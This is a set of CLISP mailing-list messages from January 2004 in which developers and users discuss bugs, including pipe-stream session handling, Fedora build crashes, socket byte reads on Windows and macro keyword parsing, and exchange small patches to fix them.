the programmer: ``You used #s() to specify a struct literal in
compiled code, but did not specialize a MAKE-LOAD-FORM method for that
struct type!  See ANSI CL 3.2.4.4'' :)



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> > * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2004-01-06 13:40:46 -0800]:
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> > I have another issue with the clisp-2.32 Cygwin package. I just
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> haven't see your message there.

Ah shoot; I forgot to re-submit it after dealing with their mailer's
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this is not fixed in the CVS
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On Thu, 8 Jan 2004, Sam Steingold wrote:

> this is not fixed in the CVS

I understand. In my case, its caused by broken code so the fix would only
give me a nicer diagnostic. I fixed my broken code so it does not trigger
the behavior. Since I don't feel like specializing a method for the sake
of a single occurence of #S in a module, I replaced the #S literal with
a moral equivalent:

  (load-time-value (make-foo ...)) 

I wasn't previously aware of this language requirement that the
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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2004-01-08 09:53:34 -0800]:
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> On Thu, 8 Jan 2004, Sam Steingold wrote:
>
>> this is not fixed in the CVS
typo: "not" should have been "now".

I meant to say that I just committed a fix.

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If you run an external process with MAKE-PIPE-INPUT-STREAM, and that
process, or a child thereof, wants input from the terminal---such as a
password---it doesn't work.

For example 
    
   (make-pipe-input-stream "ssh me@remote.host ls")

SSH prompts for password. You type, but characters are echoed to the
terminal and are not going into ssh!

This is not the subordinate program's fault, because you can redirect
its output from the shell without running into this problem, e.g.

   ssh me@remote.host ls | some-program
   # ssh prompts for password, you can enter it

I haven't done enough investigation to know what the exact issue is;
but it's likely because of the SETSID() call in create_input_pipe().

The setsid() function creates a new job control session with no
controlling tty.

Why would you want to do that for a pipe coprocess?  That's useful for
a background process such as a daemon which runs without a controlling
terminal (and probably must use O_NOCTTY when opening tty devices to
avoid acquiring one).

Note how the shell does not create new sessions for commands:

$ ps -o sess,pid,command

 SESS   PID COMMAND
17457 17457 -bash
17457 18145 /bin/bash -c (ps -o sess,pid,command) >/tmp/v683723/3 2>&1
17457 18146 ps -o sess,pid,command

See? The ps process is in the same session as the shell. Not in a new
session.  The shell is the session leader: its PID and session ID are
the same.



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I don't know enough about pipes, setsid &c to fix this.
Patches are welcome.

> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2004-01-09 08:55:49 -0800]:
>
> If you run an external process with MAKE-PIPE-INPUT-STREAM, and that
> process, or a child thereof, wants input from the terminal---such as a
> password---it doesn't work.
>
> For example 
>     
>    (make-pipe-input-stream "ssh me@remote.host ls")
>
> SSH prompts for password. You type, but characters are echoed to the
> terminal and are not going into ssh!
>
> This is not the subordinate program's fault, because you can redirect
> its output from the shell without running into this problem, e.g.
>
>    ssh me@remote.host ls | some-program
>    # ssh prompts for password, you can enter it
>
> I haven't done enough investigation to know what the exact issue is;
> but it's likely because of the SETSID() call in create_input_pipe().
>
> The setsid() function creates a new job control session with no
> controlling tty.
>
> Why would you want to do that for a pipe coprocess?  That's useful for
> a background process such as a daemon which runs without a controlling
> terminal (and probably must use O_NOCTTY when opening tty devices to
> avoid acquiring one).
>
> Note how the shell does not create new sessions for commands:
>
> $ ps -o sess,pid,command
>
>  SESS   PID COMMAND
> 17457 17457 -bash
> 17457 18145 /bin/bash -c (ps -o sess,pid,command) >/tmp/v683723/3 2>&1
> 17457 18146 ps -o sess,pid,command
>
> See? The ps process is in the same session as the shell. Not in a new
> session.  The shell is the session leader: its PID and session ID are
> the same.
>
>
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Kaz Kylheku wrote:
> > If you run an external process with MAKE-PIPE-INPUT-STREAM, and that
> > process, or a child thereof, wants input from the terminal---such as a
> > password---it doesn't work.
> >
> > For example
> >
> >    (make-pipe-input-stream "ssh me@remote.host ls")
> >
> > SSH prompts for password. You type, but characters are echoed to the
> > terminal and are not going into ssh!

For me, something different happens: I see an endless stream of
  Enter passphrase for RSA key '/home/haible/.ssh/identity':
prompts. That's because ssh has done open("/dev/tty") and attempts
to read() from it. The read() call is interrupted with SIGTTIN and
returns with errno == EINTR, ssh thinks it was interrupted with Ctrl-Z
and then restarted, and redisplays the prompts and tries to read again...
So it's really the SIGTTIN which is the problem, and yes it comes from
the setpgrp() or setsid() call.

> > Why would you want to do that for a pipe coprocess?  That's useful for
> > a background process such as a daemon which runs without a controlling
> > terminal (and probably must use O_NOCTTY when opening tty devices to
> > avoid acquiring one).

I think the reason was the Ctrl-C handling: If subprocesses spawned via
RUN-PROGRAM and MAKE-PIPE-*-STREAM are launched in the same process group,
then they are killed when the user presses Ctrl-C. But the user's intention
when he presses Ctrl-C is to abort the current Lisp computation or even
more simply to correct a typo in a preceding input line. If it makes
subprocesses die, this is perceived as a bug.

Blocking SIGINT while doing the fork(), so that the child starts with
SIGINT blocked, is not a solution because 1. whether the child then
really starts with SIGINT blocked is system dependent, 2. POSIX recommends
against this.

Any idea how to resolve this conflict?

Bruno



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On Fri, 9 Jan 2004, Bruno Haible wrote:

> Any idea how to resolve this conflict?

Under POSIX job control, doesn't the tty subsystem only generate Ctrl-C
SIGINT for processes that are in the foreground process group?

I'm afraid that to fix this well, CLISP will have to become more
shell-like by doing a POSIX job control.

Imagine how the shell works. If you background a process with & you
are back at the prompt. If you type Ctrl-C, it does not disturb the
background process; any SIGINT goes to the shell (or in a totally
modernized shell, the tty is put into character mode for editing, and
the Ctrl-C arrives as ASCII character 3).

When you foreground the process, its group becomes the foreground
process group, and now receives the SIGINT. Meanwhile, the shell is in
the background. It can detect a change in the job using some
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Hi,

I'm trying to build clisp-2.32 on fedora core 1 (older AMD K7). All goes 
well until:

test -d bindings || mkdir -p bindings
./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW 
-x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"

*** - handle_fault error2 ! address = 0x3f292f58 not in 
[0x20810000,0x20810000) !
SIGSEGV cannot be cured. Fault address = 0x3f292f58.
make: *** [interpreted.mem] Segmentation fault

I tried to build also with -DNO_GENERATIONAL_GC,  which caused a 
segmentation fault
without the handle_fault error2.

The same problem was reported in a message from Gerard Milmeister::

Building CLISP 2.31 on Fedora Core 1 
2003-11-13 04:40



I haven't seen a follow-up?

many thanks for suggestions,

-- eliot






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> * Eliot Handelman <ryvbg@trarengvba.arg> [2004-01-10 16:18:48 -0500]:
>
> I'm trying to build clisp-2.32 on fedora core 1 (older AMD K7). All goes
> well until:
>
> test -d bindings || mkdir -p bindings
> ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW
> -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
>
> *** - handle_fault error2 ! address = 0x3f292f58 not in
>       [0x20810000,0x20810000) !
> SIGSEGV cannot be cured. Fault address = 0x3f292f58.
> make: *** [interpreted.mem] Segmentation fault
>
> I tried to build also with -DNO_GENERATIONAL_GC, which caused a
> segmentation fault without the handle_fault error2.
>
> The same problem was reported in a message from Gerard Milmeister::
>
> Building CLISP 2.31 on Fedora Core 1 2003-11-13 04:40

this is also what I observe.
(I also get a crash dumping GNU Emacs).
CLISP builds fine on other Linux machines (SF CF, fencepost), so this
is definitely something about Fedora.

I have no idea what is going on.
It might be related to
<https://bugzilla.fedora.us/show_bug.cgi?id=843#c14>,
might be unrelated.

Bruno?

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From what I read on the Axiom developer mailing lists, some mid november
discussion, http://mail.nongnu.org/mailman/listinfo/axiom-developer it
might be a problem of the fedora memory model, used for exec-shield,
that makes it incompatible with current lisp memory management
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A long time ago (in internet time), on a keyboard far far away,
On Dec 23, 2003, at 6:20 PM, Sam Steingold wrote:

> So I was missing the point. sorry.
> please try --with-debug, it will tell you which file/line signals the
> error.
> also, please run under gdb:
> (gdb) break OS_error
> (gdb) run -q -norc -B .
>> (load "init.lisp")
> (gdb) where
> (gdb) zbacktrace
>
> please use zout/xout to figure what is going on.

Between the holidays and cranky (move me and I'll break. You did and I 
did) hardware, I haven't had the chance to look into this further, but 
I haven't forgotten.

Also, the machine I had running RedHat 8 is dead. The new machine will 
be running OpenBSD. Similarly my YellowDog 3 machine is also now 
running OpenBSD. From the looks of the OpenBSD mailing lists, there are 
some issues there, so hopefully I can help out with that too.

I hope to have my hardware issues resolved this week and be able to get 
back to this by the weekend.

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Ahoy,

I'm trying to install CLISP 2.32 on my Debian testing box. It fails
during 'make install':

  for f in clisp-link linkkit/* base/* full/*; do \
    case $f in \
      */lisp.run) /usr/bin/install -c $f /usr/local/lib/clisp/$f;; \
      *) /usr/bin/install -c -m 644 $f /usr/local/lib/clisp/$f;; \
    esac; \
  done
  /usr/bin/install: cannot stat `full/libavcall.a': No such file or directory
  /usr/bin/install: cannot stat `full/libcallback.a': No such file or directory
  ....

My full/ directory contains some very funny looking symlinks:

  lrwxr-xr-x    1 luke     foo            81 Jan 13 05:12 libavcall.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libavcall.a
  lrwxr-xr-x    1 luke     foo            83 Jan 13 05:12 libcallback.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libcallback.a
  lrwxr-xr-x    1 luke     foo            82 Jan 13 05:12 libcharset.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libcharset.a

Any ideas?

Cheers,
Luke




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On Sunday, Jan 4, 2004, at 03:37 Europe/Madrid, Sam Steingold wrote:

> did you try the patch in
> <http://article.gmane.org/gmane.lisp.clisp.general:7820>?

I applied it but could not test it because I had other, unrelated, 
compiling problems (and the CVS was not available then).  Now I'm 
having difficulties with my Internet connection so I'm distracted from 
it.  I'll come back to you when I'll have it tested.

Thanks for your concern.
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> * Luke Gorrie <yhxr@oyhrgnvy.pbz> [2004-01-13 09:28:14 +0100]:
>
> I'm trying to install CLISP 2.32 on my Debian testing box. It fails
> during 'make install':
>
>   for f in clisp-link linkkit/* base/* full/*; do \
>     case $f in \
>       */lisp.run) /usr/bin/install -c $f /usr/local/lib/clisp/$f;; \
>       *) /usr/bin/install -c -m 644 $f /usr/local/lib/clisp/$f;; \
>     esac; \
>   done
>   /usr/bin/install: cannot stat `full/libavcall.a': No such file or directory
>   /usr/bin/install: cannot stat `full/libcallback.a': No such file or directory
>   ....
>
> My full/ directory contains some very funny looking symlinks:
>
>   lrwxr-xr-x    1 luke     foo            81 Jan 13 05:12 libavcall.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libavcall.a
>   lrwxr-xr-x    1 luke     foo            83 Jan 13 05:12 libcallback.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libcallback.a
>   lrwxr-xr-x    1 luke     foo            82 Jan 13 05:12 libcharset.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libcharset.a
>
> Any ideas?

weird.
full/ is created by clisp-link.
maybe you could add "-xv" to "#!/bin/sh" in clisp-link and see what
command creates these absurdities?

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Date: Thu Jan 15 04:27:11 2004
X-Original-Date: Thu, 15 Jan 2004 13:26:21 +0100

The test code below works fine with binary downloads like, say,

  (foo "weitz.de" "/files/cl-interpol.tgz")

if I invoke it from Linux. But if I use it from Windows most of the
contents of the generated "out" file (towards the end) are nulls. Am I
doing something wrong or is this a bug? (Looks to me as if it acted
like the :NO-HANG argument were T.)

I had the same problem with the standard functions
READ-SEQUENCE/WRITE-SEQUENCE.

Both are CLISP 2.32. On Linux (SuSE 9.0) it was built from source, on
Windows (XP pro) I used the "clisp-2.32-win32.zip" binary from
Sourceforge.

Thanks,
Edi.


(defun foo (host url)
  (let ((stream (socket:socket-connect
                 80 host
                 :external-format
                 (ext:make-encoding :charset 'charset:iso-8859-1
                                    :line-terminator :unix))))
    (format stream "GET ~A HTTP/1.0~C~CHost: ~A~C~C~C~C"
            url #\Return #\Linefeed
            host #\Return #\Linefeed #\Return #\Linefeed)
    (force-output stream)
    (let (length)
      (loop for line = (read-line stream nil nil)
            until (or (null line)
                      (zerop (length line))
                      (eql (elt line 0) (code-char 13)))
            when (= (mismatch line "Content-length: "
                              :test #'char-equal)
                    16)
            do (setq length
                       (parse-integer line
                                      :start 15
                                      :junk-allowed t)))
      (unless length
        (error "No Content-Length header found"))
      (setf (stream-element-type stream) '(unsigned-byte 8))
      (with-open-file (out "out" :direction :output
                           :element-type '(unsigned-byte 8)
                           :if-exists :supersede)
        (let ((buf (make-array length
                               :element-type
                               (stream-element-type stream))))
          (ext:read-byte-sequence buf stream :no-hang nil)
          (ext:write-byte-sequence buf out)))
      (values))))


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Some more info: If I add two PRINT statements (see below) I get (on
Windows) something like

  147558
  6596

The second number is not always the same but it's always around 10000
or less.

Edi.



(defun foo (host url)
  (let ((stream (socket:socket-connect
                 80 host
                 :external-format
                 (ext:make-encoding :charset 'charset:iso-8859-1
                                    :line-terminator :unix))))
    (format stream "GET ~A HTTP/1.0~C~CHost: ~A~C~C~C~C"
            url #\Return #\Linefeed
            host #\Return #\Linefeed #\Return #\Linefeed)
    (force-output stream)
    (let (length)
      (loop for line = (read-line stream nil nil)
            until (or (null line)
                      (zerop (length line))
                      (eql (elt line 0) (code-char 13)))
            when (= (mismatch line "Content-length: "
                              :test #'char-equal)
                    16)
            do (setq length
                       (parse-integer line
                                      :start 15
                                      :junk-allowed t)))
      (unless length
        (error "No Content-Length header found"))
      (print length) ;; <---- HERE
      (setf (stream-element-type stream) '(unsigned-byte 8))
      (with-open-file (out "out" :direction :output
                           :element-type '(unsigned-byte 8)
                           :if-exists :supersede)
        (let ((buf (make-array length
                               :element-type
                               (stream-element-type stream))))
          (print (ext:read-byte-sequence buf stream :no-hang nil)) ;; <---- HERE
          (ext:write-byte-sequence buf out)))
      (values))))



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FWIW, this doesn't happen with the Cygwin version.

Cheers,
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> * John K. Hinsdale <uva@nyzn.pbz> [2004-01-01 16:49:01 -0500]:
>  > WIBNI there were a Lisp SF foundry? ... Any volunteers?
>
> But something like administering a SF "foundry" is something I could
> do (which appears to be a mix between maintaining pages of links,
> moderating announce lists, and ongoing research -- something I'd do
> anyway).

OK, so what's the status on this?
Did you submit a request?

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 > OK, so what's the status on this?  Did you submit a request?

Oops sorry ... they are not accepting new reqeusts for foundries.  See
message below from Jacob Moorman of SourceForge.  How annoying.  I've
since submitted a bug fix request that they remove the link inviting
requests for new foundries, such being a waste of time exercise.

It's also puzzling since the existing set of foundries is quite
arbitrary in its depth and breadth of topics.  Oh well.

Unrelated note on my availability: my CLISP development contributions
will be suspended for a little while due to the birth of my son Noah
(our first) four days ago on Monday (Jan 12).  [Comments to my Email,
hin@alma.com, and not to lisp-list please!]

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Feature Requests item #871653, was opened at 2004-01-06 08:29
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Category: SF.net: Foundries
>Group: Rejected (will not be implemented)
>Status: Closed
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Submitted By: John Hinsdale (hin)
>Assigned to: Patrick McGovern (pat)
>Summary: Request for new foundry: 

Initial Comment:
This is to request a new foundry for the Lisp language.
I'm one of the developers of the CLisp project, a popular
implementatin of Lisp hosted at sourceforge.

A number of CLisp developers have suggested I volunteer
to administer such a foundry, so that is what I am doing.

The main uses of the foundry would be to:
 - highlight, and act as a directory for, Lisp-oriented
   projects at Sourceforge

 - provide links useful to Lisp programmers, including
   Lisp implementations and commercial vendors

 - post newsworthy events relevant to Lisp programmers and
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Please let me know what the next step is.  My SourceForge
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>Comment By: Jacob Moorman (moorman)
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Greetings,

At this time, SourceForge.net is not accepting any
additional requests or suggestions for new foundries.  This
request is being updated (so you won't be waiting) and
closed; the details of this request are being transferred to
a master request list which will be reviewed in the future
when we again accept foundry suggestions for consideration.

Thank you,

Jacob Moorman
Quality of Service Manager, SourceForge.net

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It seems to me there is a bug in the processing of &key arguments with
explicit keyword-names for macros:

[45]> (defmacro foo (&key ((key var))) `(list ',var))
FOO
[46]> (foo key 42)

*** - EVAL: variable KEY has no value
The following restarts are available:
STORE-VALUE    :R1      You may input a new value for KEY.
USE-VALUE      :R2      You may input a value to be used instead of KEY.

Break 1 [47]> 
[48]> (foo)       

*** - EVAL: variable KEY has no value
The following restarts are available:
STORE-VALUE    :R1      You may input a new value for KEY.
USE-VALUE      :R2      You may input a value to be used instead of KEY.

Break 1 [49]> 
[50]> (lisp-implementation-version)  
"2.32 (2003-12-29) (built 3283257766) (memory 3283257953)"
[51]> 


Apparently, CLisp tries to evaluate the keyword-name during
macroexpansion. This happens to work for symbols in the keyword
package, but otherwise not.

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> * Frode Vatvedt Fjeld <sebqrs@pf.hvg.ab> [2004-01-16 19:09:20 +0100]:
>
> It seems to me there is a bug in the processing of &key arguments with
> explicit keyword-names for macros:
>
> [45]> (defmacro foo (&key ((key var))) `(list ',var))
> FOO
> [46]> (foo key 42)
>
> *** - EVAL: variable KEY has no value
> The following restarts are available:
> STORE-VALUE    :R1      You may input a new value for KEY.
> USE-VALUE      :R2      You may input a value to be used instead of KEY.
>
> Break 1 [47]> 

thanks for your bug report.
please try the appended patch.

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--- defmacro.lisp.~1.24.~	2003-12-05 13:30:51.715826900 -0500
+++ defmacro.lisp	2004-01-16 14:05:57.106417200 -0500
@@ -129,7 +129,7 @@
 (defun kwd-arg-form (restvar kw svar default &aux (dummy '#.(cons nil nil)))
   ;; the default value should not be evaluated unless it is actually used
   (let ((arg (gensym "KWD-ARG-")))
-    `(let ((,arg (GETF ,restvar ,kw ',dummy)))
+    `(let ((,arg (GETF ,restvar ',kw ',dummy)))
        (if (eq ,arg ',dummy)
            (progn ,@(when svar `((setq ,svar nil))) ,default)
            ,arg))))
@@ -163,7 +163,7 @@
            (cond ((symbolp next)  ; foo
                   (setq kw (intern (symbol-name next) *keyword-package*))
                   (setq %let-list
-                        (cons `(,next (GETF ,restvar ,kw NIL)) %let-list))
+                        (cons `(,next (GETF ,restvar ',kw NIL)) %let-list))
                   (setq kwlist (cons kw kwlist)))
                  ((atom next)
                   (cerror (TEXT "It will be ignored.")



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Date: Fri Jan 16 11:25:03 2004
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do you observe this bug when you try to read a file (as opposed to a socket)?
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[Looks like my first email didn't make it. Let's try it again...]

I have ported ASDF-INSTALL[1] to CMUCL, CLISP, AllegroCL, and
LispWorks, and Marco Baringer has added support for OpenMCL. It is
currently available from my own server at

  <http://weitz.de/files/asdf-install.tgz>

and I'd be happy if people would test it and send me bug reports.

I've also written a little tutorial for ASDF-INSTALL aimed at
"newbies" which can be found at

  <http://weitz.de/asdf-install/>.

I'd like to hear (er, read) what you think about it and how it can be
improved.

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[1] <http://www.cliki.net/asdf-install>


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On Fri, 16 Jan 2004 14:24:02 -0500, Sam Steingold <sds@gnu.org> wrote:

> do you observe this bug when you try to read a file (as opposed to a
> socket)?

No. I tried the code below which tries to mimick my original example
and it all went fine.

Edi.



(defun bar (name)
  (with-open-file (stream name)
    (let ((length (file-length stream)))
      (print length)
      (setf (stream-element-type stream) '(unsigned-byte 8))
      (with-open-file (out "out" :direction :output
                           :element-type '(unsigned-byte 8)
                           :if-exists :supersede)
        (let ((buf (make-array length
                               :element-type
                               (stream-element-type stream))))
          (print (ext:read-byte-sequence buf stream :no-hang nil))
          (ext:write-byte-sequence buf out)))
      (values))))


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Kaz Kylheku wrote on 2004-01-08:
> The real problem is that both MAKE-INIT-FORM tries to take the error
> handling into its own hands, so to speak, rather than defer it to the
> calling layers.  MAKE-INIT-FORM has a brain-damaged HANDLER-CASE
> which tries to guess which errors might be method problems. It's wrong
> to catch errors at this level, because not only does it lead to the
> looping behavior, but it makes it impossible for the highest level to
> provide a specific, accurate diagnostic relevant to the real problem.

You are entirely right. I've fixed this now in the CVS, by introducing
a condition class which describes _exactly_, not just vaguely, the situation
that MAKE-INIT-FORM wants to handle.

> Ultimately, it would really be good to raise a specific error which tells
> the programmer: ``You used #s() to specify a struct literal in
> compiled code, but did not specialize a MAKE-LOAD-FORM method for that
> struct type!  See ANSI CL 3.2.4.4'' :)

Thanks for the suggestion. I've added similar text to the error message.

Bruno



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On Sunday, Jan 4, 2004, at 03:37 Europe/Madrid, Sam Steingold wrote:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2003-12-14 18:47:59 +0100]:
> >
> > *** - EXT:MAKE-ENCODING: illegal :CHARSET argument "ISO8859-1"
> > Indeeed, the exported symbol is ISO-8859-1.
>
> did you try the patch in
> <http://article.gmane.org/gmane.lisp.clisp.general:7820>?

I've tried with 2.32, and it seems to work.

(Of course, now garnet stumbles  against other problems, but this step
is overcome).

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-01-23 03:46:48 +0100]:
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> > (Of course, now garnet stumbles against other problems, but this step
> > is overcome).
> specifically?

I think it's garnet specific:

[1]> (load "rundemos.lisp")
...
;;    Loading file /local/share/lisp/packages/net/sourceforge/garnet/debug/inspector.lisp ...
==> Garnet-Debug: hit F2 key for INSPECTOR on object under mouse
==> Garnet-Debug: hit CONTROL-F2 for INSPECTOR on next Interactor
==> Garnet-Debug: hit SHIFT-F2 to list obj under mouse

Object DEBUG-EDIT
Object PS-POP-AGG

*** - SLOT-VALUE: The class #<BUILT-IN-CLASS T> has no slot named XLIB::FONT-INFO

Same with:
[1]> (load "build.lisp")
...
;;    Loading file /local/share/lisp/packages/net/sourceforge/garnet/debug/inspector.lisp ...
==> Garnet-Debug: hit F2 key for INSPECTOR on object under mouse
==> Garnet-Debug: hit CONTROL-F2 for INSPECTOR on next Interactor
==> Garnet-Debug: hit SHIFT-F2 to list obj under mouse

Object DEBUG-EDIT
Object PS-POP-AGG

*** - SLOT-VALUE: The class #<BUILT-IN-CLASS T> has no slot named XLIB::FONT-INFO
Break 1 GD[2]> :bt

<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK>
<2> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
<3> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<4> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2-1>
<5> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<6> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2>
<7> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<8> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP>
<9> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<10> #<SYSTEM-FUNCTION SYSTEM::ERROR-OF-TYPE> 3
<11> #<COMPILED-CLOSURE #:|(DEFGENERIC SLOT-MISSING (CLASS INSTANCE SLOT-NAME ...) ...)-163-1-1|>
<12> #<GENERIC-FUNCTION SLOT-MISSING>
<13> #<GENERIC-FUNCTION SLOT-MISSING>
<14> #<SYSTEM-FUNCTION SLOT-VALUE>
<15> #<ADD-ON-SYSTEM-FUNCTION XLIB:TEXT-WIDTH>
APPLY frame for call (GEM::X-TEXT-WIDTH '#k<GEM::*ROOT-WINDOW*> '#k<DEFAULT-FONT> '"X")
EVAL frame for form (FUNCALL (AREF (KR::VALUE-FN GEM::ROOT-WINDOW :METHODS) 61) GEM::ROOT-WINDOW GEM::OPAL-FONT STRING)
<16> 
#<CLOSURE GEM::X-TEXT-WIDTH (GEM::ROOT-WINDOW GEM::OPAL-FONT STRING)
  (DECLARE (SYSTEM::IN-DEFUN GEM::X-TEXT-WIDTH) (IGNORE GEM::ROOT-WINDOW))
  (BLOCK GEM::X-TEXT-WIDTH (XLIB:TEXT-WIDTH (G-VALUE GEM::OPAL-FONT :XFONT) STRING))> 3
<17> #<SYSTEM-FUNCTION FUNCALL> 3
APPLY frame for call (GEM:TEXT-WIDTH '#k<GEM::*ROOT-WINDOW*> '#k<DEFAULT-FONT> '"X")
EVAL frame for form (GEM:TEXT-WIDTH (KR::GV-VALUE-FN OPAL::DEVICE-INFO :CURRENT-ROOT) KR::*SCHEMA-SELF* "X")
<18> 
#<CLOSURE GEM:TEXT-WIDTH (GEM::ROOT-WINDOW GEM::OPAL-FONT STRING)
  (DECLARE (SYSTEM::IN-DEFUN GEM:TEXT-WIDTH))
  (BLOCK GEM:TEXT-WIDTH
   (FUNCALL (AREF (G-VALUE GEM::ROOT-WINDOW :METHODS) 61) GEM::ROOT-WINDOW GEM::OPAL-FONT STRING))> 3
<19> #<SPECIAL-OPERATOR IF>
EVAL frame for form 
(IF (EQ (KR::GV-VALUE-FN KR::*SCHEMA-SELF* :FAMILY) :FIXED)
 (GEM:TEXT-WIDTH (KR::GV-VALUE-FN OPAL::DEVICE-INFO :CURRENT-ROOT) KR::*SCHEMA-SELF* "X"))
APPLY frame for call (:LAMBDA)
EVAL frame for form (FUNCALL (COERCE (KR::A-FORMULA-FUNCTION KR::*CURRENT-FORMULA*) 'FUNCTION))
...

It  happens while  getting  the :width  attribute  of the  dot-dot-dot
instance in gadgets/scrolling-input-string.lisp line 290:


Break 1 GD[2]> (create-instance 'small-font opal:font (:size :small)(:family :serif))

Object SMALL-FONT
#k<SMALL-FONT>
Break 1 GD[2]> (create-instance 'dot-dot-dot opal:text
  (:constant '(:font :string))
  (:font small-font)
  (:string "..."))


Object DOT-DOT-DOT
Warning - create-schema is destroying the old #k<DOT-DOT-DOT>.
#k<DOT-DOT-DOT>
Break 1 GD[2]> (defparameter dot-dot-width (g-value dot-dot-dot :width))


*** - SLOT-VALUE: The class #<BUILT-IN-CLASS T> has no slot named XLIB::FONT-INFO
Break 2 GD[4]> 




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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-01-23 22:04:02 +0100]:
>
> *** - SLOT-VALUE: The class #<BUILT-IN-CLASS T> has no slot named XLIB::FONT-INFO
>
> <13> #<GENERIC-FUNCTION SLOT-MISSING>
> <14> #<SYSTEM-FUNCTION SLOT-VALUE>
> <15> #<ADD-ON-SYSTEM-FUNCTION XLIB:TEXT-WIDTH>

please try the appended patch.
thanks!

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--- clx.f.~2.13.~	2004-01-25 12:49:13.280040600 -0500
+++ clx.f	2004-01-28 09:57:32.452489800 -0500
@@ -996,7 +996,7 @@
 
   pushSTACK(obj);               /* save */
 
-  pushSTACK(STACK_1); pushSTACK(`XLIB::FONT-INFO`);
+  pushSTACK(obj); pushSTACK(`XLIB::FONT-INFO`);
   funcall(L(slot_value),2); /* (slot-value obj 'font-info) */
   value1 = check_fpointer(value1,false);
   info = TheFpointer(value1)->fp_pointer;


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I've tried to figure out who to build a clisp 2.32 binary on my NetBSD
i386 machine that includes the regexp module.  The commands I have
tried are as follows:

  ./configure with-gcc
  cd with-gcc
  ./makemake --with-dynamic-ffi --with-dynamic-modules --with-module=regexp > Makefile
  gmake
  sudo gmake install

This installed a binary in /usr/local/bin/clisp which works, but does
not appear to include the regexp module.  What am I doing wrong?

-russ


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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-01-23 22:04:02 +0100]:
> >
> > *** - SLOT-VALUE: The class #<BUILT-IN-CLASS T> has no slot named XLIB::FONT-INFO
> >
> > <13> #<GENERIC-FUNCTION SLOT-MISSING>
> > <14> #<SYSTEM-FUNCTION SLOT-VALUE>
> > <15> #<ADD-ON-SYSTEM-FUNCTION XLIB:TEXT-WIDTH>
> 
> please try the appended patch.


With it, it goes further and stumble on a similar problem. (Tell me if
you need more details).


Loading #P"/local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary"
;;    Loading file /local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary.lisp ...
WARNING:
DEFUN/DEFMACRO: redefining function GET-REFERENCE-FOR in /usr/local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary.lisp, was defined in /usr/local/share/lisp/packages/net/sourceforge/garnet/c32/c32formula.lisp
Object DIRECT-REF-QUERY-GADGET

*** - SETF: The class #<BUILT-IN-CLASS CONS> has no slot named XLIB::PLIST
Break 1 C32[2]> :bt

<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK>
<2> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
<3> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<4> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2-1>
<5> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<6> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2>
<7> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<8> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP>
<9> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<10> #<SYSTEM-FUNCTION SYSTEM::ERROR-OF-TYPE> 3
<11> 
#<COMPILED-CLOSURE
  #:|(DEFGENERIC SLOT-MISSING (CLASS INSTANCE SLOT-NAME ...) ...)-163-1-1|>
<12> #<GENERIC-FUNCTION SLOT-MISSING>
<13> #<GENERIC-FUNCTION SLOT-MISSING>
<14> #<SYSTEM-FUNCTION CLOS::SET-SLOT-VALUE>
<15> #<ADD-ON-SYSTEM-FUNCTION XLIB::SET-WINDOW-PLIST>
<16> #<COMPILED-CLOSURE GEM::X-SET-DRAWABLE-TO-WINDOW>
<17> #<COMPILED-CLOSURE GEM:SET-DRAWABLE-TO-WINDOW>
<18> #<COMPILED-CLOSURE OPAL::CREATE-X-DRAWABLE>
<19> #<COMPILED-CLOSURE OPAL::INSTALL-DRAWABLE>
<20> #<COMPILED-CLOSURE OPAL::UPDATE-METHOD-WINDOW>
<21> #<COMPILED-CLOSURE INTERACTORS::UPDATE-METHOD-INTERACTOR-WINDOW>
<22> #<SYSTEM-FUNCTION FUNCALL> 1
EVAL frame for form 
(LET
 ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
  (KR::*KR-SEND-PARENT* NIL))
 (FUNCALL #:G59728 OPAL::THE-SCHEMA))
<23> #<SPECIAL-OPERATOR LET>
<24> #<SPECIAL-OPERATOR IF>
EVAL frame for form 
(IF #:G59728
 (LET
  ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
   (KR::*KR-SEND-PARENT* NIL))
